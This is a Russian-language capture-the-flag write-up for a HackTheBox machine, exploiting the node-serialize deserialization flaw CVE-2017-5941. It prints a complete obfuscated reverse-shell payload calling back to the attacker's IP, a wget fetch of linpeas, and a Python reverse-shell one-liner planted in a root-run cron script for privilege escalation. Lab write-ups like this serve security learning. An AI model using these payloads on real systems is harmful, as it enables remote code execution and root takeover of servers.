
Цель данной статьи показать эксплуатацию всем известной уязвимости CVE-2017-5941 (node serialize) на примере машины с HTB.
Для успешного прохождения необходимо:
Уметь сканировать порты
Немного знать фичи Burp
Уметь "правильно” гуглить
Все готовы? Тогда поехали...
nmap -A 10.10.10.85
Разведка сразу дает результат. Открыт единственный порт 3000. На нем крутится Node.js. Думаю это знак...

Переходим на этот адрес (10.10.10.85:3000), там нас ждет интересная ошибка.

Поиграем с запросом. Добавим "/" .
10.10.10.85:3000/

Информация изменилась. Смотрим через бурп.

Интересный параметр profile. Декодируем его через бурп.
Используем схему текст -> url -> base64. Получаем запрос!
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

Лезем в интернет...

Переходим по первой ссылке, и там подробно расписана эксплуатация данной уязвимости. Я так же использовал скрипт nodejsshell.py. В качестве параметров задаем порт и ip кали.
python2 nodejsshell.py 10.10.14.4 1234

Добавляю конструкцию в полезную нагрузку{"rce":"_$$ND_FUNC$$_function (){наш код}()"}
Вообщем получили:
{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,52,34,59,10,80,79,82,84,61,34,49,50,51,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10)) }()"}
Это все в репитор и кодируем через base64 (добавляем в параметр profile).
На кали слушаем.

Получили шел!

Далее все просто:
Перейдем в интерактивную оболочку
python -c 'import pty;pty.spawn("/bin/bash")'
Поднимем на кали сервер для обмена файлами
python3 -m http.server 8000
Посмотрим вектор для повышения привилегий linpeas.sh
(качай по команде wget http://10.10.14.4:8000/linpeas.sh)
После запуска видим, что пользователь sun состоит в группе adm.
Чтение системных логов дает результат.
Скрипт /home/sun/Documents/script.py запускается от рута каждые 5 минут.

Дописываем в этот файл полезную нагрузку для получения шелла.
'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Ждем 5 минут, ииии. Рут наш!!!

Спасибо за внимание!